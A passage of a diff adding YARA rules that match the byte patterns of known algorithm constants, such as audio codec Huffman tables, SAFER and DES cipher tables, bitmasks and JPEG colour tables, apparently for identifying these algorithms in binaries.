+	$a0 = { 40a487fa5e353f7d4066e941f212d7734066e9780346dc5d404992cd9e83e4264046eaae297396d14046ead4d4024b34402995a1cac083124026fe50c5eb313c4026fe86833c60034009c0485a0be5114007fe8709741d084007feed45e9185d3febf2349b123f9e3ff130f3882278d13ff131327243137b3fdb739e5d4db8f0 }
+
+condition:
+	$a0
+}
+
+	
+rule Magenta_tab_and_large_tab0__8_byt_256_
+{
+strings:
+	$a0 = { 010204081020408065caf1876bd6c9f78b73e6a9376edcdddfdbd3c3e3a323468c7dfa91478e79f28167cef9974b964992418261c2e1a72b56ac3d7af48d7ffe9957ae3972e4ad3f7efc9d5fbe193264c8f58f7bf68977eeb9172e5cb8152a54a8356ad4cdff9b53a62952a42d5ab40d1a3468d0c5efbb13264c9855aa3162c4edbf1b366cd8d5cffb93438669d2c1e7ab3366ccfd9f5bb60912244890458a71e2a1274e9c5dba1122448875eab1070e1c3870e0a52f5ebc1d3a74e8b50f1e3c78f0856fded9d7cbf38363c6e9b70b162c58b0050a142850a0254a944d9a51a22142846ddad1c7ebb303060c183060c0e5af3b76ecbd1f3e7cf8954f9e59b200 }
+
+condition:
+	$a0
+}
+
+	
+rule SDX2___2_1_Squareroot_delta_exact_compression__16_big_512_
+{
+strings:
+	$a0 = { 800081FE83F885EE87E089CE8BB88D9E8F80915E9338950E96E098AE9A789C3E9E009FBEA178A32EA4E0A68EA838A9DEAB80AD1EAEB8B04EB1E0B36EB4F8B67EB800B97EBAF8BC6EBDE0BF4EC0B8C21EC380C4DEC638C78EC8E0CA2ECB78CCBECE00CF3ED078D1AED2E0D40ED538D65ED780D89ED9B8DACEDBE0DCEEDDF8DEFEE000E0FEE1F8E2EEE3E0E4CEE5B8E69EE780E85EE938EA0EEAE0EBAEEC78ED3EEE00EEBEEF78F02EF0E0F18EF238F2DEF380F41EF4B8F54EF5E0F66EF6F8F77EF800F87EF8F8F96EF9E0FA4EFAB8FB1EFB80FBDEFC38FC8EFCE0FD2EFD78FDBEFE00FE3EFE78FEAEFEE0FF0EFF38FF5EFF80FF9EFFB8FFCEFFE0FFEEFFF8FFFE00000002000800120020003200480062008000A200C800F201200152018801C202000242028802D20320037203C80422048004E2054805B2062006920708078208000882090809920A200AB20B480BE20C800D220DC80E720F200FD210881142120012C213881452152015F216C817A2188019621A481B321C201D121E081F0220002102220823122420253226482762288029A22AC82BF22D202E522F8830C232003342348835D23720387239C83B223C803DE23F4840B24220439245084682480049824B084C924E204FB2514852E25480562257C859725B205CD25E886042620063C26588675269206AF26CC86EA2708072627448763278207A127C087E02 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_cplscale6__flt64___64_big_504_
+{
+strings:
+	$a0 = { 3fefefaa1ffffffd3fefce7e600000013fefaca0400000003fef8a05fffffffe3fef66a4e00000023fef42715ffffffd3fef1d5e5ffffffc3feef75ddffffffd3feed0601ffffffe3feea853c00000043fee7f251ffffffd3fee54be600000013fee2906e00000033fedfbe25ffffffe3fedcd30dffffffe3fed9ccd600000003fed6a8ce00000013fed363d1fffffff3fecffa23ffffffc3fecc674bffffffe3fec8a5da00000023fec4af1400000043fec07a7c00000043febbfd23ffffffe3feb7288000000033feb1e88e00000003feac206600000043fea5a389ffffffe3fe9e26dc00000023fe951765ffffffd3fe88f86400000023fe6a09e5ffffffc3fe483469fffffff3fe391f0dffffffe3fe2d090e00000033fe2274bfffffffc3fe18ce2dffffffd3fe0fc92600000003fe0737fa00000033fdfdf8e3ffffffc3fdee0223ffffffc3fdde6b5fffffff73fdcf1b1000000003fdbffc1dffffffa3fdb0fc6fffffffc3fda20bd5ffffffa3fd931b4800000033fd841c4400000063fd75004800000013fd65b849ffffffa3fd56341dffffffa3fd4661d400000053fd362cd7ffffff93fd257cc000000053fd1433a7ffffff83fd022b97ffffffa3fcde64c3ffffff73fcb604f5ffffffd3fc8a6b4dfffffee3fc5a521e00000113fc237205ffffff93fbc1a09000000023fb0289f00000001 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_aac_codes11__16_big_578_
+{
+strings:
+	$a0 = { 000000060019003d009c00c601a7039003c203df07e607f30ffb07ec0ffa0ffe038e000500010008001400370042009200af019101a501b5039e03c003a203cd07d600ae001700070009001800390040008e00a300b8019901ac01c103b1039603be03ca009d003c00150016001a003b0044009100a500be019601ae01b903a1039103a503d50094009a00360038003a0041008c009b00b000c3019e01ab01bc039f038f03a903cf009300bf003e003f00430045009e00a700b9019401a201ba01c303a603a703bb03d4009f01a0008f008d0090009800a600b600c4019f01af01bf039903bf03b403c903e700a801b600ab00a400aa00b200c200c5019801a401b8038c03a403c403c603dd03e800ad03af019200bd00bc018e0197019a01a301b1038d039803b703d303d103db07dd00b403de01a9019b019c01a101aa01ad01b3038b03b203b803ce03e103e007d207e500b707e301bb01a801a601b001b201b7039b039a03ba03b503d607d703e407d807ea00ba07e803a001bd01b4038a01c4039203aa03b003bc03d707d407dc07db07d507f000c107fb03c803a30395039d03ac03ae03c503d803e203e607e407e707e007e907f7019007f2039301be01c00394039703ad03c303c103d207da07d907df07eb07f407fa019507f803bd039c03ab03a803b303b903d003e303e507e207de07ed07f107f907fc01930ffd03dc03b603c703cc03cb03d903da07d307e107ee07ef07f507f60ffc0fff019d01c200b500a1009600970095009900a000a200ac00a900b100b300bb00c0018f0004 }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_Fraunhofer_Huffman_book4__32_big_972_
+{
+strings:
+	$a0 = { 0000000000000004000000070000000100000005000000160000000200000008000000f60000000300000005000000180000000400000004000000080000000500000008000000ef0000000600000009000001ef0000000700000008000000f3000000080000000b000007f80000000900000005000000190000000a00000005000000170000000b00000008000000ed0000000c00000005000000150000000d00000004000000010000000e00000008000000e20000000f00000008000000f0000000100000000700000070000000110000000a000003f00000001200000009000001ee0000001300000008000000f1000000140000000b000007fa0000001500000008000000ee0000001600000008000000e4000000170000000a000003f2000000180000000b000007f6000000190000000a000003ef0000001a0000000b000007fd0000001b00000004000000050000001c00000005000000140000001d00000008000000f20000001e00000004000000090000001f00000004000000040000002000000008000000e50000002100000008000000f40000002200000008000000e8000000230000000a000003f40000002400000004000000060000002500000004000000020000002600000008000000e700000027000000040000000300000028000000040000000000000029000000070000006b0000002a00000008000000e30000002b00000007000000690000002c00000009000001f30000002d00000008000000eb0000002e00000008000000e60000002f0000000a000003f600000030000000070000006e00000031000000070000006a0000003200000009000001f4000000330000000a000003ec0000003400000009000001f0000000350000000a000003f90000003600000008000000f50000003700000008000000ec000000380000000b000007fb0000003900000008000000ea0000003a000000070000006f0000003b0000000a000003f70000003c0000000b000007f90000003d0000000a000003f30000003e0000000c00000fff0000003f00000008000000e900000040000000070000006d000000410000000a000003f800000042000000070000006c0000004300000007000000680000004400000009000001f5000000450000000a000003ee0000004600000009000001f2000000470000000b000007f4000000480000000b000007f7000000490000000a000003f10000004a0000000c00000ffe0000004b0000000a000003ed0000004c00000009000001f10000004d0000000b000007f50000004e0000000b000007fe0000004f0000000a000003f5000000500000000b000007fc }
+
+condition:
+	$a0
+}
+
+	
+rule SAFER__expf__8_byt_256_
+{
+strings:
+	$a0 = { 012de293be4515ae780387a4b838cf3f08670994eb26a86bbd18341bbbbf72f74035489c512f3b55e3c09fd8d3f38db1ffa73edc8677d7a611fbf4ba92916483f133efda2cb5b22b88d199cb8c841d14819771ca5fa38b573c82c4525c1ce8a004b4854af61354b6df0c1a8edee039fc209b244ea9989eabf260d06ceafac7d900d41f6e43bcec5389fe7a5d49c932c2f99af86d16db599644e9cde646428f0ac1ccb965b0d2c6ac1e4162292e0e7450025ac3257b8a2a5bf0060d476f709d7e10ce1227d54c4fd679306836757de4ed806a9037a25e76aac57f3dafa5e51961fd4d7cb70beead4b22f5e7732321c805e166ddb3586963560fa1319517073a28 }
+
+condition:
+	$a0
+}
+
+	
+rule mp3lib_huffman_tab3__16_big_34_
+{
+strings:
+	$a0 = { FFF3FFF5FFF7FFFBFFFDFFFF002200020012FFFF0021002000100011FFFF00010000 }
+
+condition:
+	$a0
+}
+
+	
+rule bitmask__32_lil_128_
+{
+strings:
+	$a0 = { 0100000003000000070000000f0000001f0000003f0000007f000000ff000000ff010000ff030000ff070000ff0f0000ff1f0000ff3f0000ff7f0000ffff0000ffff0100ffff0300ffff0700ffff0f00ffff1f00ffff3f00ffff7f00ffffff00ffffff01ffffff03ffffff07ffffff0fffffff1fffffff3fffffff7fffffffff }
+
+condition:
+	$a0
+}
+
+	
+rule LD_CELP_G_728_cb_gain_mid__flt32___32_big_32_
+{
+strings:
+	$a0 = { 3f3580003f9ed000400af60000000000bf358000bf9ed000c00af60000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule RawDES_sbox7__32_lil_256_
+{
+strings:
+	$a0 = { 00002000020020040208000400000000000800000208000402082000000820040208200400002000000000000200000402000000000000040200200402080000000800040208200002002000000800040200000400002004000820040200200000002004000800000208000002082004000820000200000000000004000820000000000400082000000020000208000402080004020020040200200402000000020020000000000400080004000020000008200402080000020820000008200402080000020000040208200400002004000820000000000002000000020820040000000002082000000020040008000002000004000800040008000002002000 }
+
+condition:
+	$a0
+}
+
+	
+rule Borland_Jfif_CrGTable__32_big_1024_
+{
+strings:
+	$a0 = { FFA4970FFFA54DE1FFA604B3FFA6BB85FFA77257FFA82929FFA8DFFBFFA996CDFFAA4D9FFFAB0470FFABBB42FFAC7214FFAD28E6FFADDFB8FFAE968AFFAF4D5CFFB0042EFFB0BAFFFFB171D1FFB228A3FFB2DF75FFB39647FFB44D19FFB503EBFFB5BABDFFB6718EFFB72860FFB7DF32FFB89604FFB94CD6FFBA03A8FFBABA7AFFBB714CFFBC281DFFBCDEEFFFBD95C1FFBE4C93FFBF0365FFBFBA37FFC07109FFC127DBFFC1DEADFFC2957EFFC34C50FFC40322FFC4B9F4FFC570C6FFC62798FFC6DE6AFFC7953CFFC84C0DFFC902DFFFC9B9B1FFCA7083FFCB2755FFCBDE27FFCC94F9FFCD4BCBFFCE029CFFCEB96EFFCF7040FFD02712FFD0DDE4FFD194B6FFD24B88FFD3025AFFD3B92BFFD46FFDFFD526CFFFD5DDA1FFD69473FFD74B45FFD80217FFD8B8E9FFD96FBBFFDA268CFFDADD5EFFDB9430FFDC4B02FFDD01D4FFDDB8A6FFDE6F78FFDF264AFFDFDD1BFFE093EDFFE14ABFFFE20191FFE2B863FFE36F35FFE42607FFE4DCD9FFE593AAFFE64A7CFFE7014EFFE7B820FFE86EF2FFE925C4FFE9DC96FFEA9368FFEB4A3AFFEC010BFFECB7DDFFED6EAFFFEE2581FFEEDC53FFEF9325FFF049F7FFF100C9FFF1B79AFFF26E6CFFF3253EFFF3DC10FFF492E2FFF549B4FFF60086FFF6B758FFF76E29FFF824FBFFF8DBCDFFF9929FFFFA4971FFFB0043FFFBB715FFFC6DE7FFFD24B8FFFDDB8AFFFE925CFFFF492E000000000000B6D200016DA4000224760002DB4800039219000448EB0004FFBD0005B68F00066D61000724330007DB05000891D7000948A80009FF7A000AB64C000B6D1E000C23F0000CDAC2000D9194000E4866000EFF37000FB60900106CDB001123AD0011DA7F00129151001348230013FEF50014B5C600156C980016236A0016DA3C0017910E001847E00018FEB20019B584001A6C56001B2327001BD9F9001C90CB001D479D001DFE6F001EB541001F6C13002022E50020D9B6002190880022475A0022FE2C0023B4FE00246BD0002522A20025D97400269045002747170027FDE90028B4BB00296B8D002A225F002AD931002B9003002C46D5002CFDA6002DB478002E6B4A002F221C002FD8EE00308FC0003146920031FD640032B43500336B07003421D90034D8AB00358F7D0036464F0036FD210037B3F300386AC4003921960039D868003A8F3A003B460C003BFCDE003CB3B0003D6A82003E2153003ED825003F8EF7004045C90040FC9B0041B36D00426A3F004321110043D7E300448EB4004545860045FC580046B32A004769FC004820CE0048D7A000498E72004A4543004AFC15004BB2E7004C69B9004D208B004DD75D004E8E2F004F4501004FFBD20050B2A400516976005220480052D71A00538DEC005444BE0054FB900055B26100566933005720050057D6D700588DA90059447B0059FB4D005AB21F }
+
+condition:
+	$a0
+}
+
+	
+rule LD_CELP_G_728_cb_gain_mid__flt64___64_big_64_
+{
+strings:
+	$a0 = { 3fe6b000000000003ff3d9ffffeed1f440015ec0001353cd0000000000000000bfe6b00000000000bff3d9ffffeed1f4c0015ec0001353cd0000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dca_dca_downmix_coeffs__flt32___32_big_260_
+{
+strings:
+	$a0 = { 3f8000003f7d11d13f78bc9c3f71adf93f6ad2983f6429053f5dafd73f5765ac3f5149313f4b59183f4594213f3ff9113f3a86b83f353bef3f3017963f2b18963f263de03f21866c3f1cf1393f187d503f1429bf3f0ff59a3f0bdffd3f07e80b3f040cec3f004dce3ee4b3b63ecbd4b43eb5aa1a3ea1e89b3e904d1c3e809bcc3e653ebb3e4c509b3e3618873e224b063e10a4d33e00e9f93de5ca153dcccccd3db687383da2adad3d90fcbf3d8138563d5973453d36f62b3d19f1693d0186e23cd9f7733cb765633c9a4efc3c81d59f3c5a7bf13c37d4dd3c1aacc83c02248a3bb8449c3b8273a63b38b49f3b02c2f23ab924e53a83126f3a03621b3983b1f800000000 }
+
+condition:
+	$a0
+}
+
+	
+rule SAFER__logf__8_byt_512_
+{
+strings:
+	$a0 = { 8000b00960efb9fd10129fe469baadf8c038c2654f0694fc19de6a1b5d4ea88270ede8ec72b315c3ffabb6474401ac25c9fa8e411a21cbd30d6efe2658da320f20a99d8498059cbb228c63e7c5e173c6af245b876627f757f496b1b75c8bd55479dfaaf63ea3f111caf5d1177b9383bcbd521eebaeccd63508c88ab4e2cdbfd9d050593f4d62340a4888b5564c2e6b9ed23d3c0313fb9751754a917123be762a5ff9d4550bdc37311674d777a7e607dba42f46f3614567e30ca23b1c8518041d29a08fb25ad8a67eee8d534ba19ac10e7a49a52c81c4c7362b7f439533f26c686df00228cedd9bea5e997c1486cfe542b840782d3ae9641f92907d396fe089308000b00960efb9fd10129fe469baadf8c038c2654f0694fc19de6a1b5d4ea88270ede8ec72b315c3ffabb6474401ac25c9fa8e411a21cbd30d6efe2658da320f20a99d8498059cbb228c63e7c5e173c6af245b876627f757f496b1b75c8bd55479dfaaf63ea3f111caf5d1177b9383bcbd521eebaeccd63508c88ab4e2cdbfd9d050593f4d62340a4888b5564c2e6b9ed23d3c0313fb9751754a917123be762a5ff9d4550bdc37311674d777a7e607dba42f46f3614567e30ca23b1c8518041d29a08fb25ad8a67eee8d534ba19ac10e7a49a52c81c4c7362b7f439533f26c686df00228cedd9bea5e997c1486cfe542b840782d3ae9641f92907d396fe08930 }
+
+condition:
+	$a0
+}
+
+	
+rule t_class_32_lo0xC2DB2AA3__32_lil_8188_
+{
+strings:
+	$a0 = { 00000000a32adbc22330d3e0801a08222305c3a4802f186600351044a31fcb86236fe32c804538ee005f30cca375eb0e006a2088a340fb4a235af368807028aa46dec659e5f41d9b65ee15b9c6c4ce7b65db05fdc6f1de3f46ebd61de5c10ddf65b12575c69bfeb74681f695e5ab2d5746b4e6d1e59e3d1365843531c6aeeef38cbc8db32f965671af8c5e530ca68591afb94e170c9395d58c899df72fa34635afd36e9f0cf9b55d8ce3bd7f2fc966bd8cd6ad3b2ffc76f9afe67edb0ccca519ca624bea69489028e952980a4a7843c8e967884e4a4d538cca575bae697d806ce90da8c64a277304ca3d7b266917a0e4ca086b626922b0a0e938b8824a1263407d1c7e02de36a5c05e2cade2fd0676205e19bda6fd3366647d296e46de03b5845e739d2efd5946ec7d434ecede69950c7d765e8ade5c85485e468d6afd6c56a83bc2b85b98e8639918f26bbbbbd8b07918c77bffbbeda03d3bf7a81f98dd73dd18ad5b77bb8780b53b9d889798b753553ba898d39882431118984b33bbb290f1f1a0f3b1528a2873d290205171bafb93d2a53015718febd7f195e3f552bf3837d2cf109d71e5cb5ff1ffc37d52d518bff1cad33952e008fbd2fa00d971d0db1bb77e35e81454ee2a944ee60837643dca947bf64c37512d8eb74b25ac1461fe6e9411d6c4373b0d06b7210524140bdee6b7141560143ecea29424c680370e1d42fa38fc04591227c6d9082fe47a22f426d93d3fa07a17e462fa0dec4059273782d9571f287a7dc4eafa67ccc8594d170afa52dc8c5978074ed9620f6c7a48d4aebce63a5d1fcce19f9fd6e9bd3cfc327f9fe3f9f93cc9223bbcd32a191ff9f1db9f89d9713ca302b3bcb90a911f93d153bc8c1ad51fa6c1179fbcc9353c9612f7768471b7d5aeaa7555b4a257f69e79955581b213f6ab69d176b161f3d59bba3155eb929bf6c1495976db417bd5f19ab976ee513fd5c48afd55de82dff6f4591d305ab7ee93706c2c136a640eb040bfcc135f744ab075af88306fa7aa93457c68133554c2b01f8f0030058722932f5ce030309766931a4ca413004486b02a9f4487248206240e59c4a41451e6073e8a24a42141a2070b9a6087119242243b4980a44b612a0761bae8877bb2ca24516908874ea28e2464794ca47e716e0754aaacc1fa445f62d09f9de2ca97bf41e04c7de2ff87fb41d55c39c1cf541b62e58fd9e295a77341bf7cb1c1a57493628faf51c19064d762babf15e2a0b737418a6cf50b980fb5a8b2d47728a8dc558b820797289dcc118bb717d30bad1ff1a887c43328f7ec998bdd375b0bc73f79a8ede4bb0bf22f3da8d8f4ff28c2fcdd8be8271f4d46c9ecee6c122e6e761a0ccd5cc1ce6e430a48cd69d18a4d73d9a8ee59026a6e292ac0cd03f1024d19f920ee3322e24d2ce964ee0632a66e1c3a84cd36e146f471f809575b23cbd7412be9746bf02bd7743bad745ee06ff444e84d576e338fd71e1b257434c0e7f42ec8c557041307f41bd88157310343d72b0b617401d0a3b2af3e501185e592919fedb032b5367291aafdf432802636b29a2e1411b0f5d691c0dd7c32ea06beb2f00e9c11dad55eb2c51ed811efc51a91f5cd3832df16fa78cd75badbe7ae785bfda65af8d77d985bc8b61ef8e26ddc78f865fedbd2be3c5ba29696f8884d5478924576dbb89eb478a75532db8d8ef05b9786d2f8bd5d103e13b3e39d3968211d236003be09bbc11d167047be3cab853e26a3a79d0c78651d7c50cfbe568b0d3e4c832f9d6658ed3e79936b9d5348a91d49408bbe639b49896d860b2a475dc9aa5d55eb09778e29aa6845af09429e6d8958964f2a724d8daa0265270928bee58932b6c72a186d058907a6832a2d7d41aa377563091daea1cfb340526c999b90ec8393b24fa94870ecb683f64f9c5834cf8650166cac8bd4ecdca37e4ff678bccfec709e6cc6ab5ccfd960da6cf3bb18ece9b33a4fc368f805d10bb8a6fbd07a26e1d85885cb039a26d4c81c85fe13de05e41bfca6cec03e26bee89485943356058e3b74a6a4e0b605bb2b30a691f0f2268bf8d085a12312430fcde1e0251623603f1e01c315c5c3600a0e45c320d587433adda5e010066760602ecdc34af50f4350fd2de07a26ef4365ed69e04f36ab60553e89c37fe54b0e49040dad63dfcf2d79d7ed8e530c2f2d4cc7a98e661c6b0e7c1449ad56cf8b2d26e7218e0c3ce30e1634c1ad3cef030e232485ad09ff472d13f7658e392ca74897c254ebbd19966ba711b4c88dca766b9201f0c8b8da3248a2d210eb8809d26bf82178c8d2faba48c8f298ebe2295a48fde2dcebd7391e6bcd313cc8e7eafe82f589be21df527ca1c55a5e02ef819ca1f04a1a02da91d882c099fa21ea4238a19a6a9202b0b15082aab972218062b0829fa93621b572f4a1af7ad60285a114c42b4fe767019425e71b9c07443147c5e72e8c4344045781c41e5fa367348461e744accb446e7709c4747f2b675ea4e9c4416f6f676bb4ade771bc8f445b674d73557a0fd07fa1cd5065a9eff34f722d5050b9abf37a626973606a4bd04ab189503a9923f31042e1730a4ac3d0209101733f5a87d0158145500f8967f32552a5358bbc5696a1679416bb6fb6b591b474168e7ff2b5a4a43035beac12969477d016e45f7ab5ce84b835d48c9a96fe575835e19cde96cb471c16d14f3eb5fb94fcffe9f7bc5cc32c7edcd9245c7ff3ff9edcec34187fc6efdaffdce7f85cf63c3adc8614907faccf52ffb6c7705c9c1cb2ff83d7345ca90cf6dcb304d47f99df16b93731e51a1dea279a07e205392d39c79a32f24139182983b90221a11a28fa639a58d2c93972090bb96801291a42daebb95d116d1a77caaf9a6dc28d3947194fe8e3f0134bc92bd1cbd323f368f9f831cbe633b768cce875e8d6e0574bfc3b95cb8c133f68a6c8fde8bcc0df4b961b1de889d09b4ba30b59cbb9037b6893d8b9ae3d364a0d17ed888d0de5aa2e273e688d38f5ee2e122e2cae08260e0d22fdcc8d52d5662e780ea4ae6206860d48dd44ae5716c20d7dcd008d67c5222e4d1ee0645f7da0c775a662476fae40e4457582475abe04e47065c6646a6de4c740b62647309e8ce41a454e64004d6cc72a96ae64355d28c71f86ea47058ec8e42f550a2281bbf981ab603b01b16819a29bb3db0184785da2aea39f22b4abbd819e707f01ee58d5a2c4831722de8b3581f450f722eb9b7181c140b301db4891a2f1935395ff8e1136d555d3b6cf5df115e58633b6fa4db515d0967795ca9e5536e04597b6906d3d15bab6ff95a0bedd368a651f9595ae9936bf755bb6a57d79158fa6bbd3214848700b938af0119ba8533b406af0248bec530e502ed314580c703e83cef04eab64536470a6d37e78847054a346d34b68c07061b302f07bbb20535160e2194303a2ba69d8603a73d04299590b803a46c006996c1bc4197613e6ba5cc8243a2ce08e99063b4c191c336eba36e8ac1929232aba03f8e83a19f0ca99332b085f9dc5fbfcb71e397cad161bdf87cdd97c98065fdfb2dd9d5fa8d5bffc820e7d7cf226d7dfd8fd155fc2f537fce82ef55ff7e573fcdd3eb17cc73693dfeded5112db0c17b1f1d7d531ebdff792c1043531decfb392f4147112ee1c53b1c4c79131b4ef3b929e34f912843cdbb1aee71912b12c9fb19bf75d3181ff7f92ab24bd5405ca4ef72f118c773519aed41fc26c770009ead42ad2285430da0af71a01c8776a2962d440f2a0545afa82f7702140546feac6f7453104775f3926d475e2e49e6781a43d4d5a66bd5752441e7d8986bd6242001e4899c29e5291e03d784a22bd0862881e22b94a9e38b1683d126aaa9e0da12c3d277aeebd3d72cc1e17a90ed8b947fd7b939c3ffb89941d58a34fdffbbc845958965f9bd88c57b97ba68c7bfbd6a4d158fc7f13d8e677317bccacf3d8d367757bf9bcb7fbe3b49558c96f576fc77215cceda9d74cf7a1f5efdd7a374cc2b1b1efe86a736ff26251ccd8b9934ca89139ef824afb6f9842d9ccb2991b6fad529dcc87895f4c9d817defb75abf2919b44c8a336f8e0a2967aca903bc6e0a1c77e8a936ac2a292ca4088a067fca0a765760a95c8ca2294684808a6c5f42297394c48a594f060a434724a9699ce6e37bffa640512464c04b2c466361f784c07e3c026354e7c0e34eefe240643420c0141c8a633ec748e324cf6a400e14a8e311df2e403b04ecc0210cce630bd70ca5a539ff068fe23d8695ea1f25bf31dd86a0fa5b258a2199a59029bb06baf27986cadad325e00111a5fa093306d0d2f1a5cf197706e5c2b586ffca9725d511551c92081abfb8d3d83fa2dbfa9c8800383f97cbbe9cbd107c1ca7185ebf8dc39c3ffdeb369cd730f41ccd38d6bfe7e3141cf82892bfd2f3503fc8fb729ce220b05a4cce43f9661581797c1da3da56c66179490de7da63d6255a79de07f95305c579232d6fda09f6ad5a13fe8ff939254d5a26eecbf90c350979163d2bda3ce6e9902e85a933045e6bb31e564910348d8bb32b460d10019dcf901b95ed33314e2fb3416685106bbd479071b565335b6ea79044a521336e7ee3b37476c1105ead03d6f043f075da9832f5c0901056ea4bd2f5f5805456df5b96d6c553b475ef8876f59fa0dc56b57b1ed6af733c7585a8fed69a637875b0b8baf5aab09856806b5a618e7618c2a4adda42bea5f8e1947e3a428bb5bce1a16e7e61bb665cc291bd9e42e19534e1cb4ef661d146d4c2fb9d1661e45690c2ce8d5242d48570e1fe5eb22750b041847a6b83046063a1a74ab863045573e5a77fa8272765a005844f7bc7043f536da71588af270f808d84255b4f273a90c984104b0b040a4329a72098ebed32fbab4e182069ce02284b6d28f389ce37380f6d1de3cded07ebef4e2d302dce5d18876d77c345ed6dcb674e4710a5ed58db234e7200e1ce6808c36d42d301abec3df208c6e63088dcee122bf635d088e9fe562bc32594abd92db608f3f6748883dede2ba9051cabb30d3e0899d6fcab861d7a08acc6b888b6ce9a2b9c1558e6aaf41e45802fdcc59a27fe66b0fc3cc5af37ba6685ec78e69fe45a45b53f98c5c5173266efccf0e6f5c4d245df1f10e6c0d49645ea0f54c5f0077666dadcb4a0743247035ee9858344e1a7206e3a658371f1e3205b2a21a0412203036bf9c1831bd16b20310aa9a02b028b0301d949a01e12cf0334c90d832ec12f20041aed6a1679adc93ca26f4926aa4dea0c718f4913ba09ea3961cb6a2369e9c909b22b49799a81ea5341436a494961c96392a36a7c5925c95682e7494c8ac5ea6651072cc8bff48fe264360ff86c14acd2b7d60fcd7c50ace7a7922cfdafb08fd774720fa75cd8ac8d871a2c978f388fbd54fa2ca29f7c8f8844be0f924c9cacb8975e9bb68a1c389c51deb88659fc1bac823eb8b349b81b99927a9b839a5838a9419ab8d969301bf3b2f29be9bad038c361129bdcaa9438f67156b8ec79741bc6a2b6dd684c457e429787fe589fa55d724467fe6d8fe15d475423dd5d5c017e7787c3fe07af695d2d74abdd377c897e1da74bdd026ccd7e28b70ffe32bf2d5d1864ef170a07afb420dc6d343ad44f97100f8d340fc40b97251fc9173f17ebb415cc293465e483974f3f4117553763b47feca117602727b44afce53450f4c7977a2f0551d4c1f6f2fe1a3472e41216d1cec9d472d10252d1fbd99051e1d1b2f2cb0a7072bb22dad191f918518bf13af2a12af851bee17ef2943abc728e329ed1a4e95cd0c7e12773ed3ae5f3f732c750dde905f3c2228350e8f941d0f2f16373d82aa1f3a8020b5082d9c9d098d1eb73b20a29d0adc1af73871a6df39d124f50b7c98d9619277e3533fcbcb529f49e16032f5cb51ce4da16363f18962c373a3506ecf8b576c452165c1f90964617b2356ccc70967307f63559dc34b543d41616690fd45c7b6c94ff51b7567f4bbf74dc6164b67f7eaf30dc5474f25c4e7cd0ff64a7127f148fb8dc3e547a5c245c58ff0e879a5c114c1cff3b97de7f219ffcdc0b443e1aa5aacdb98f710f3995792d9abfa2ef39a069699a8ab2ab1a90ba89b9ba614b39ca49e19ae092231afa9a01b9d041c31acf8a45b9e5518739ff59a59ad58267addb9f250ef144e78eeb4cc52dc197078ede5c812df48743adee8f610ec454a38eb47c092d9ea7cbad84afe90eae742badb1bfad0e9b646f8e816c4d2dabb78feb05597c482f82bec8358a9c6b1f515ec8009ad86b2a411aeb304938481a92fac86aba506b406192eb5a69b04870b272eb6f79f44845a236c85faa146b7571d621671296824dc9540257c176a17d1ab40262d132a1480af0215202d28278d9100208f1baa1222a782138225a8212f998210d321e8227e9dc023de1fea1173a3c67b9d4cfc4930f0d4489072fe7a3dced44bc176be796cca9678cc48bc4a61f4944d637e3e7fcec2167e6e403c4cc3fc167d3f447c4f92f8544e327a7e7c9fc652aff1d2389d5c6e109cfcec3aae5150109fade87aad005452aca0d6789e0d6a50990fe0faaba25cd2aa02def898af62d2a953dab89bfe66909a5ee4baa8f35896c21db7acf0b00b84f11089aec3bd3584f2418deec0ec31c6c14cb3ecf3e10fc4f4e3856ec64e3946c7eebb6cf5430746c4bfbf2cf6120304f7b2812ec51f3d0a643909005694b5285734370265998b285465334266c88f6a67680d4055c5b16852c73bc2606a87ea61ca05c05367b9ea629b01805036bda851963f82633b83ae09d56c943b78d0bc3ad852960875eebc398956d60b24eafe0a8468d43829d4fc3f2b5e560d86e27e0c2660543e8bdc7e0f7764143ddad83c3c7a5a160ed7e6357e36321f4c9b8e374d3b0c1d7f96b0374e6a085d7cc7b4757d67365f4fca8a7748c800dd7a65bcf57bc53edf496882f578943a9f4a3986b74b99049d7934b8b113da578b2177eba320d76989127ad5a323866dc9112bd1e1108b53cb2226efe3252465491789d96116295b4b2484e76115785f0b27d5e3232675610914d8dd2db5fee9278753550f86f3d725b45e6b0f85a2d365b70f6f4db6afed678402514f8300dbe5b1ad67cdb00de5e782a059cdb35ce1a781f15d8f8051dfa5b2fc6389d8128cb3eabf309beb1fb2b1d9b20e9be84eb6f1dae30ad9db4388f3e9ee34dbeeecbe71dc410259dde18073ef4c3c59deb08433ec1d381bedbdba31df1006124b6192e879cc2ec0786cacea4ac110c07b3da8aa49901482483096a87a9d2a807d9fa02a4f321c024e929e287c3f22024dc39a687f6e26407ecea46a4c631846268df77c14204b541580c97e272d755416d1cd3e247c711625dcf33c17714f141073c5be22de7996237efbbc11d34796202ffffc128243d41322c1fe218f7dda80a949d0b204f5f8b3a477d28109cbf8b0f573928258cfba83f84d90b155f1b8b6577b1284fac73a855a4510b7f7f93a860b4150b4a6fd78b5067f5287abc37eed452c44dfe8906cde481246ece5ae6cdd191606efb4aa2eee142804dcb9942cdbbb1e86e916a2aee8b62084da1b9caeebe724c4d94a98ecd8ea1ac6ea47a6e59aa672cfa80bcee7a9ab4ccd9b06f0e7aafa488d9857f4a599f7768fab5acaa7ac58400d9ef5fc259f557e0fadf8c2259c047a4faea9c667af09444d9da4f861f74a175bc5e7ab73c4472959f6ea9573c7162d19f5bb9131f41b131bc6b6af33c1b42599f31999b1f2b91b9bc014a7b1f1e81fdbc345a3f3c2e521d9f0489dfd516ea9f763c315df626397f550ce2bdf613293b5539f2f9d523fadb76092119f67909b35553d271d549da5376630191d57cca17765611d5f64c19f75566c23593c82cc630e2f704b0f8ff2613d224e4b0cdef6213e734a093fd3c8230d7e740b0a7cfea138d142893971c0a30bdc7c893a20c4e3088d78cb092dfae13b8046cde8ee52a7da43ee8fdbe36ca5e94ed08fd8b268e5ea1fd4cdebbf56e7d912eacfde106065ecbddc4ded1d5e67dfb0e24dee4c5a27dce1e60fdd416425efecd80985023733b7af8b1bb60f093184a2b51bb55e0d7187f3b15986533373b4fe8f5bb3fc05f18151b9d980f13bf3b25c87d983a03fb3b10d839bb0ad01b18200bd952326899f118b35b7102bb79d22860bb7137ab3dd21d70ff520778ddf12da31f715d8bb5d2775077526d5855f147839752584811f17293d371689bf1d242403314ecaec0b7c6750237dc7d2094f6a6e237e96d6494c3b6a614d9